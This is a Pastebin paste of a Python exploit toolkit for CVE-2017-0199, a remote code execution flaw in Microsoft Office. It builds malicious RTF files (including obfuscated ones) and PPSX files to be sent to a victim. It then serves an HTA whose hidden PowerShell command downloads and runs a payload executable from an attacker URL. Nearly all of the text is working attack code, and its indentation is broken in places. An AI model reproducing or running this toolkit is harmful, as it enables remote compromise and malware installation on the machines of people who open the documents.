API tools faq
paste
Harcrack

python rtf evil file generator

Harcrack
Nov 4th, 2018
119
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 35.71 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/env python
  2. '''
  3.                                                        ## Exploit toolkit CVE-2017-0199 - v4.0 (https://github.com/bhdresh/CVE-2017-0199) ##
  4. '''
  5. import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
  6. from random import randint
  7. from random import choice
  8. from string import ascii_uppercase
  9. from zipfile import ZipFile, ZIP_STORED, ZipInfo
  10.  
  11.  
  12. BACKLOG = 50            # how many pending connections queue will hold
  13. MAX_DATA_RECV = 999999  # max number of bytes we receive at once
  14. DEBUG = True            # set to True to see the debug msgs
  15. def main(argv):
  16.     # Host and Port information
  17.     global port
  18.     global host
  19.     global filename
  20.     global docuri
  21.     global payloadurl
  22.     global payloadlocation
  23.     global custom
  24.     global mode
  25.     global obfuscate
  26.     global payloadtype
  27.     filename = ''
  28.     docuri = ''
  29.     payloadurl = ''
  30.     payloadlocation = ''
  31.     custom = ''
  32.     port = int("80")
  33.     host = ''
  34.     mode = ''
  35.     obfuscate = int("0")
  36.     payloadtype = 'rtf'
  37.  
  38.     # Capture command line arguments
  39.     try:
  40.         opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])
  41.     except getopt.GetoptError:
  42.         print 'Usage: python '+sys.argv[0]+' -h'
  43.         sys.exit(2)
  44.     for opt, arg in opts:
  45.         if opt == '-h':
  46.                 print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Office RCE)\n"
  47.                 print "Modes:\n"
  48.                 print " -M gen                                          Generate Malicious file only\n"
  49.                 print "             Generate malicious payload:\n"
  50.                 print "             -w <Filename.rtf/Filename.ppsx>     Name of malicious RTF/PPSX file (Share this file with victim).\n"
  51.                 print "             -u <http://attacker.com/test.hta>   The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.\n"
  52.         print "                                                 For example, http://attacker.com/test.doc (This URL will be included in malicious file and\n"
  53.                 print "                                                 will be requested once victim will open malicious RTF/PPSX file.\n"
  54.                 print "             -t RTF|PPSX (default = RTF)         Type of the file to be generated.\n"
  55.                 print "             -x 0|1  (RTF only)                  Generate obfuscated RTF file. 0 = Disable, 1 = Enable.\n"
  56.                 print " -M exp                                          Start exploitation mode\n"
  57.                 print "             Exploitation:\n"
  58.                 print "             -t RTF|PPSX (default = RTF)         Type of file to be exolited.\n"
  59.         print "             -H </tmp/custom>                    Local path of a custom HTA/SCT file which needs to be delivered and executed on target.\n"
  60.                 print "                                                 NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"
  61.         print "             -p <TCP port:Default 80>            Local port number.\n"
  62.                 print "             -e <http://attacker.com/shell.exe>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.\n"
  63.                 print "             -l </tmp/shell.exe>                 If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"
  64.                 sys.exit()
  65.         elif opt in ("-M","--mode"):
  66.             mode = arg
  67.         elif opt in ("-w", "--filename"):
  68.             filename = arg
  69.         elif opt in ("-u", "--docuri"):
  70.             docuri = arg
  71.         elif opt in ("-p", "--port"):
  72.             port = int(arg)
  73.         elif opt in ("-e", "--payloadurl"):
  74.             payloadurl = arg
  75.         elif opt in ("-l", "--payloadlocation"):
  76.             payloadlocation = arg
  77.     elif opt in ("-H","--custom"):
  78.             custom  = arg
  79.         elif opt in ("-x","--obfuscate"):
  80.             obfuscate = int(arg)
  81.         elif opt in ("-t","--payloadtype"):
  82.             payloadtype = arg
  83.     if "gen" in mode:
  84.         if (len(filename)<1):
  85.             print 'Usage: python '+sys.argv[0]+' -h'
  86.             sys.exit()
  87.         if (len(docuri)<1):
  88.             print 'Usage: python '+sys.argv[0]+' -h'
  89.             sys.exit()
  90.         if (len(payloadtype)<1):
  91.             print 'Usage: python '+sys.argv[0]+' -h'
  92.             sys.exit()
  93.         if payloadtype.upper() == 'RTF':
  94.             if obfuscate == 1:
  95.                 print "Generating obfuscated RTF file.\n"
  96.                 generate_exploit_obfuscate_rtf()
  97.                 sys.exit()
  98.             if obfuscate == 0:
  99.                 print "Generating normal RTF payload.\n"
  100.                 generate_exploit_rtf()
  101.                 sys.exit()
  102.             sys.exit()
  103.         if payloadtype.upper() == 'PPSX':
  104.             print "Generating normal PPSX payload.\n"
  105.         generate_exploit_ppsx()
  106.             sys.exit()
  107.         if payloadtype.upper() != 'RTF' and payloadtype.upper() != 'PPSX':
  108.             print 'Usage: python '+sys.argv[0]+' -h'
  109.             sys.exit()
  110.         mode = 'Finished'
  111.     if "exp" in mode:
  112.         if payloadtype.upper() == 'RTF':
  113.         if (len(custom)>1):
  114.             print "Running exploit mode (Deliver Custom HTA) - waiting for victim to connect"
  115.                 exploitation_rtf()
  116.             sys.exit()
  117.             if (len(payloadurl)<1):
  118.                 print 'Usage: python '+sys.argv[0]+' -h'
  119.                 sys.exit()
  120.             if (len(payloadurl)>1 and len(payloadlocation)<1):
  121.                 print "Running exploit mode (Deliver HTA with remote payload) - waiting for victim to connect"
  122.                 exploitation_rtf()
  123.                 sys.exit()
  124.             print "Running exploit mode (Deliver HTA + Local Payload) - waiting for victim to connect"
  125.             exploitation_rtf()
  126.             mode = 'Finished'
  127.     if payloadtype.upper() == 'PPSX':
  128.         if (len(custom)>1):
  129.             print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"
  130.                 exploitation_ppsx()
  131.             sys.exit()
  132.             if (len(payloadurl)<1):
  133.                 print 'Usage: python '+sys.argv[0]+' -h'
  134.                 sys.exit()
  135.             if (len(payloadurl)>1 and len(payloadlocation)<1):
  136.                 print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"
  137.                 exploitation_ppsx()
  138.                 sys.exit()
  139.             print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"
  140.             exploitation_ppsx()
  141.             mode = 'Finished'
  142.         if not "Finished" in mode:
  143.             print 'Usage: python '+sys.argv[0]+' -h'
  144.             sys.exit()
  145. def generate_exploit_rtf():
  146.     # Preparing malicious RTF
  147.     s = docuri
  148.     docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
  149.     docuri_pad_len = 224 - len(docuri_hex)
  150.     docuri_pad = "0"*docuri_pad_len
  151.     uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
  152.    
  153.     payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
  154.     payload += "{\\info\n"
  155.     payload += "{\\author }\n"
  156.     payload += "{\\operator }\n"
  157.     payload += "}\n"
  158.     payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
  159.     payload += "{\n"
  160.     payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
  161.     payload += "{\\*\\objclass Word.Document.8}\n"
  162.     payload += "{\\*\\objdata 0105000002000000\n"
  163.     payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
  164.     payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  165.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  166.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  167.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  168.     payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  169.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  170.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  171.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  172.     payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"
  173.     payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
  174.     payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
  175.     payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
  176.     payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  177.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  178.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  179.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  180.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  181.     payload += uri_hex+"\n"
  182.     payload += "0105000000000000}\n"
  183.     payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
  184.     payload += "{\\*\\datastore }\n"
  185.     payload += "}\n"
  186.     f = open(filename, 'w')
  187.     f.write(payload)
  188.     f.close()
  189.     print "Generated "+filename+" successfully"
  190.  
  191.  
  192.  
  193. def generate_exploit_obfuscate_rtf():
  194.     # Preparing malicious obfuscated RTF
  195.     var1 = " "
  196.     var2 = "\r\n"
  197.     var3 = "\t"
  198.     var4 = ''.join(choice(ascii_uppercase) for i in range(randint(3,10)))
  199.     var5 = "{\*\\"+var4+"}"
  200.     var6 = binascii.b2a_hex(os.urandom(15))
  201.     #var6 = "0011002e1faa"
  202.     s = docuri
  203.     docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
  204.     docuri_pad_len = 224 - len(docuri_hex)
  205.     docuri_pad = "0"*docuri_pad_len
  206.     new_docuri_hex = docuri_hex.replace('00', '{\*\\'+var6+'}00')
  207.     uri_hex = "010000020900000001000000000000000000000000000000a4000000"+"e"+var5*randint(0,10)+"0"+var5*randint(0,10)+"c"+var5*randint(0,10)+"9"+var5*randint(0,10)+"e"+var5*randint(0,10)+"a"+var5*randint(0,10)+"7"+var5*randint(0,10)+"9"+var5*randint(0,10)+"f"+var5*randint(0,10)+"9"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"c"+var5*randint(0,10)+"e"+var5*randint(0,10)+"1"+var5*randint(0,10)+"1"+var5*randint(0,10)+"8"+var5*randint(0,10)+"c"+var5*randint(0,10)+"8"+var5*randint(0,10)+"2"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"a"+var5*randint(0,10)+"a"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"4"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"9"+var5*randint(0,10)+"0"+var5*randint(0,10)+"b"+var5*randint(0,10)+"8c000000"+new_docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
  208.    
  209.     payload = "{\\rtv0"+var1*randint(0,100)+"\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
  210.     payload += "{\\info\n"
  211.     payload += "{\\author }\n"
  212.     payload += "{\\operator }\n"
  213.     payload += "}\n"
  214.     payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
  215.     payload += "{\n"
  216.     payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
  217.     payload += "{\\*\\objclass \\'57\\'6f\\'72\\'64.Document.8}\n"
  218.     payload += "{\\*\\objdata 0"+var2*randint(0,10)+var3*randint(0,10)+"1"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"5"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"2"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0\n"
  219.     payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
  220.     payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  221.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  222.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  223.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  224.     payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  225.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  226.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  227.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  228.     payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"
  229.  
  230.     payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
  231.     payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
  232.     payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
  233.     payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  234.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  235.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  236.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  237.     payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
  238.     payload += uri_hex+"\n"
  239.     payload += "0105000000000000}\n"
  240.     payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
  241.     payload += "{\\*\\datastore }\n"
  242.     payload += "}\n"
  243.     f = open(filename, 'w')
  244.     f.write(payload)
  245.     f.close()
  246.     print "Generated obfuscated "+filename+" successfully"
  247.  
  248. def generate_exploit_ppsx():
  249. # Preparing malicious PPSX
  250.     shutil.copy2('template/template.ppsx', filename)
  251.     class UpdateableZipFile(ZipFile):
  252.         """
  253.         Add delete (via remove_file) and update (via writestr and write methods)
  254.         To enable update features use UpdateableZipFile with the 'with statement',
  255.         Upon  __exit__ (if updates were applied) a new zip file will override the exiting one with the updates
  256.         """
  257.  
  258.         class DeleteMarker(object):
  259.         pass
  260.  
  261.         def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False):
  262.         # Init base
  263.         super(UpdateableZipFile, self).__init__(file, mode=mode,
  264.                                                 compression=compression,
  265.                                                 allowZip64=allowZip64)
  266.         # track file to override in zip
  267.         self._replace = {}
  268.         # Whether the with statement was called
  269.         self._allow_updates = False
  270.  
  271.         def writestr(self, zinfo_or_arcname, bytes, compress_type=None):
  272.         if isinstance(zinfo_or_arcname, ZipInfo):
  273.             name = zinfo_or_arcname.filename
  274.         else:
  275.             name = zinfo_or_arcname
  276.         # If the file exits, and needs to be overridden,
  277.         # mark the entry, and create a temp-file for it
  278.         # we allow this only if the with statement is used
  279.         if self._allow_updates and name in self.namelist():
  280.             temp_file = self._replace[name] = self._replace.get(name,
  281.                                                                 tempfile.TemporaryFile())
  282.             temp_file.write(bytes)
  283.         # Otherwise just act normally
  284.         else:
  285.             super(UpdateableZipFile, self).writestr(zinfo_or_arcname,
  286.                                                     bytes, compress_type=compress_type)
  287.  
  288.         def write(self, filename, arcname=None, compress_type=None):
  289.         arcname = arcname or filename
  290.         # If the file exits, and needs to be overridden,
  291.         # mark the entry, and create a temp-file for it
  292.         # we allow this only if the with statement is used
  293.         if self._allow_updates and arcname in self.namelist():
  294.             temp_file = self._replace[arcname] = self._replace.get(arcname,
  295.                                                                    tempfile.TemporaryFile())
  296.             with open(filename, "rb") as source:
  297.                 shutil.copyfileobj(source, temp_file)
  298.         # Otherwise just act normally
  299.         else:
  300.             super(UpdateableZipFile, self).write(filename,
  301.                                                  arcname=arcname, compress_type=compress_type)
  302.  
  303.         def __enter__(self):
  304.         # Allow updates
  305.         self._allow_updates = True
  306.         return self
  307.  
  308.         def __exit__(self, exc_type, exc_val, exc_tb):
  309.         # call base to close zip file, organically
  310.         try:
  311.             super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb)
  312.             if len(self._replace) > 0:
  313.                 self._rebuild_zip()
  314.         finally:
  315.             # In case rebuild zip failed,
  316.             # be sure to still release all the temp files
  317.             self._close_all_temp_files()
  318.             self._allow_updates = False
  319.  
  320.         def _close_all_temp_files(self):
  321.         for temp_file in self._replace.itervalues():
  322.             if hasattr(temp_file, 'close'):
  323.                 temp_file.close()
  324.  
  325.         def remove_file(self, path):
  326.         self._replace[path] = self.DeleteMarker()
  327.  
  328.         def _rebuild_zip(self):
  329.         tempdir = tempfile.mkdtemp()
  330.         try:
  331.             temp_zip_path = os.path.join(tempdir, 'new.zip')
  332.             with ZipFile(self.filename, 'r') as zip_read:
  333.                 # Create new zip with assigned properties
  334.                 with ZipFile(temp_zip_path, 'w', compression=self.compression,
  335.                              allowZip64=self._allowZip64) as zip_write:
  336.                     for item in zip_read.infolist():
  337.                         # Check if the file should be replaced / or deleted
  338.                         replacement = self._replace.get(item.filename, None)
  339.                         # If marked for deletion, do not copy file to new zipfile
  340.                         if isinstance(replacement, self.DeleteMarker):
  341.                             del self._replace[item.filename]
  342.                             continue
  343.                         # If marked for replacement, copy temp_file, instead of old file
  344.                         elif replacement is not None:
  345.                             del self._replace[item.filename]
  346.                             # Write replacement to archive,
  347.                             # and then close it (deleting the temp file)
  348.                             replacement.seek(0)
  349.                             data = replacement.read()
  350.                             replacement.close()
  351.                         else:
  352.                             data = zip_read.read(item.filename)
  353.                         zip_write.writestr(item, data)
  354.             # Override the archive with the updated one
  355.             shutil.move(temp_zip_path, self.filename)
  356.         finally:
  357.             shutil.rmtree(tempdir)
  358.    
  359.     with UpdateableZipFile(filename, "a") as o:
  360.         o.writestr("ppt/slides/_rels/slide1.xml.rels", "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\
  361.     <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/></Relationships>")
  362.     print "Generated "+filename+" successfully"
  363.  
  364.  
  365. def exploitation_rtf():
  366.  
  367.     print "Server Running on ",host,":",port
  368.  
  369.     try:
  370.         # create a socket
  371.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  372.  
  373.         # associate the socket to host and port
  374.         s.bind((host, port))
  375.  
  376.         # listenning
  377.         s.listen(BACKLOG)
  378.    
  379.     except socket.error, (value, message):
  380.         if s:
  381.             s.close()
  382.         print "Could not open socket:", message
  383.         sys.exit(1)
  384.  
  385.     # get the connection from client
  386.     while 1:
  387.         conn, client_addr = s.accept()
  388.  
  389.         # create a thread to handle request
  390.         thread.start_new_thread(server_thread, (conn, client_addr))
  391.        
  392.     s.close()
  393.  
  394. def server_thread(conn, client_addr):
  395.  
  396.     # get the request from browser
  397.     try:
  398.         request = conn.recv(MAX_DATA_RECV)
  399.         if (len(request) > 0):
  400.             # parse the first line
  401.             first_line = request.split('\n')[0]
  402.            
  403.             # get method
  404.             method = first_line.split(' ')[0]
  405.             # get url
  406.             try:
  407.                 url = first_line.split(' ')[1]
  408.             except IndexError:
  409.                 print "Invalid request from "+client_addr[0]
  410.                 conn.close()
  411.                 sys.exit(1)
  412.         # check if custom HTA flag is set
  413.         if (len(custom)>1):
  414.                 print "Received request for custom HTA from "+client_addr[0]
  415.                 try:
  416.                     size = os.path.getsize(custom)
  417.                 except OSError:
  418.                     print "Unable to read exe - "+custom
  419.                     conn.close()
  420.                     sys.exit(1)
  421.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n"
  422.                 with open(custom) as fin:
  423.                     data +=fin.read()
  424.                     conn.send(data)
  425.                     conn.close()
  426.                     sys.exit(1)
  427.         conn.close()
  428.         sys.exit(1)
  429.             check_exe_request = url.find('.exe')
  430.             if (check_exe_request > 0):
  431.                 print "Received request for payload from "+client_addr[0]
  432.                 try:
  433.                     size = os.path.getsize(payloadlocation)
  434.                 except OSError:
  435.                     print "Unable to read "+payloadlocation
  436.                     conn.close()
  437.                     sys.exit(1)
  438.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
  439.                 with open(payloadlocation) as fin:
  440.                     data +=fin.read()
  441.                     conn.send(data)
  442.                     conn.close()
  443.                     sys.exit(1)
  444.             if method in ['GET', 'get']:
  445.                 print "Received GET method from "+client_addr[0]
  446.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
  447.                 conn.send(data)
  448.                 conn.close()
  449.             if method in ['OPTIONS', 'options']:
  450.                 print "Receiver OPTIONS method from "+client_addr[0]
